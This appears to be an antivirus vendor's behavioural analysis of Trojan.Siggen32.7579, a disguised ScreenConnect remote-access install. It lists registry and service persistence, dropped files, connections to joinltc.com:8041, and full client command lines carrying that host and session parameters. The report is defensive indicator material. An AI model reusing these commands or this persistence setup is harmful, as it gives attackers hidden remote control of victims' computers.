Trojan.Siggen32.7579

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-633844f15ac18f7b\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (633844f15ac18f7b)\ScreenConnect.WindowsClient.exe" "%1"'

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (b1a93e0d-c4be-4c5a-9753-c8ed9219d329)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (b1a93e0d-c4be-4c5a-9753-c8ed9219d329)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (633844f15ac18f7b)\ScreenConnect.Cl...

Creates the following services

'ScreenConnect Client (b1a93e0d-c4be-4c5a-9753-c8ed9219d329)' %ProgramFiles(x86)%\ScreenConnect Client (633844f15ac18f7b)\ScreenConnect.ClientService.exe" "?y=Guest&h=joinltc.com&p=8041&s=b1a93e0d-c4be-4c5a-9753-c8ed9219d329&k=BgIAAACkAABSU0ExAAgAAAEAAQBN...

Modifies file system

Creates the following files

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<File name>.exe.log
%TEMP%\msi1a7e.tmp
%TEMP%\msi1a7e.tmp-\screenconnect.installeractions.dll
%TEMP%\msi1a7e.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi1a7e.tmp-\screenconnect.core.dll
%TEMP%\msi1a7e.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df7e048ff5e54421a7.tmp
%WINDIR%\installer\sourcehash{32670a52-2e1e-40ad-a16a-ef815daedbb3}
%WINDIR%\temp\~dfd58f9feea2b70195.tmp
%WINDIR%\temp\~df020b3a106f9e8b4a.tmp
%WINDIR%\temp\~df5fa2ea26bd7ce016.tmp
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\app.config
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\client.resources
%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\system.config
%WINDIR%\installer\{32670a52-2e1e-40ad-a16a-ef815daedbb3}\defaulticon
%WINDIR%\temp\~df91989f7a3f849d48.tmp
%WINDIR%\temp\~dfd6f4ed5b628d88a8.tmp
%WINDIR%\temp\~dfc70408f0a91508e6.tmp
%WINDIR%\temp\~dfd10bf96d5f987ea0.tmp
%WINDIR%\temp\~df11accbe16c7787bf.tmp
%WINDIR%\temp\~df57238b9879965806.tmp
%WINDIR%\temp\~dfe117a63a23c13c8c.tmp
%WINDIR%\temp\~dfa79a1fc2e4c0794b.tmp
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\screenconnect.windowsclient.exe.log
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\screenconnect.clientservice.exe.log
%ALLUSERSPROFILE%\screenconnect client (633844f15ac18f7b)\ujcguzrj.newcfg
%TEMP%\content\1124-5656-screenconnect.windowsclient.exe-16-32-56-170.dump
%WINDIR%\syswow64\config\systemprofile\appdata\local\microsoft\clr_v4.0_32\usagelogs\screenconnect.clientservice.exe.log

Deletes following files that it created itself

%TEMP%\msi1a7e.tmp-\customaction.config
%TEMP%\msi1a7e.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi1a7e.tmp-\screenconnect.core.dll
%TEMP%\msi1a7e.tmp-\screenconnect.installeractions.dll
%TEMP%\msi1a7e.tmp

Moves the following files

from %ALLUSERSPROFILE%\screenconnect client (633844f15ac18f7b)\ujcguzrj.newcfg to %ALLUSERSPROFILE%\screenconnect client (633844f15ac18f7b)\user.config

Network activity

Connects to

'jo##ltc.com':8041

TCP

Other

'jo##ltc.com':8041

UDP

DNS ASK jo##ltc.com

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windowsclient.exe' "Rerun" "?y=Guest&h=joinltc.com&p=8041&s=b1a93e0d-c4be-4c5a-9753-c8ed9219d329&k=BgIAAACkAABSU0ExAAgAAAEAAQBN1KPYBWOB9k7yxQ8fRMayODpK7Zt%2fhlZ5VxC9VYxb0Bhh0ef2eG8Sl13oeO2C3%2fRXtjtZuWioo8DDEXAb7...
'%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windowsclient.exe' "?y=Guest&h=joinltc.com&p=8041&s=b1a93e0d-c4be-4c5a-9753-c8ed9219d329&k=BgIAAACkAABSU0ExAAgAAAEAAQBN1KPYBWOB9k7yxQ8fRMayODpK7Zt%2fhlZ5VxC9VYxb0Bhh0ef2eG8Sl13oeO2C3%2fRXtjtZuWioo8DDEXAb7KBisPygZ...
'%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.clientservice.exe' "?y=Guest&h=joinltc.com&p=8041&s=b1a93e0d-c4be-4c5a-9753-c8ed9219d329&k=BgIAAACkAABSU0ExAAgAAAEAAQBN1KPYBWOB9k7yxQ8fRMayODpK7Zt%2fhlZ5VxC9VYxb0Bhh0ef2eG8Sl13oeO2C3%2fRXtjtZuWioo8DDEXAb7KBisPygZ...
'%ProgramFiles(x86)%\screenconnect client (633844f15ac18f7b)\screenconnect.windowsclient.exe' "RunRole" "95e49bec-d8e2-47d2-970e-6c73a9a37e80" "User"

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI1A7E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_859187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments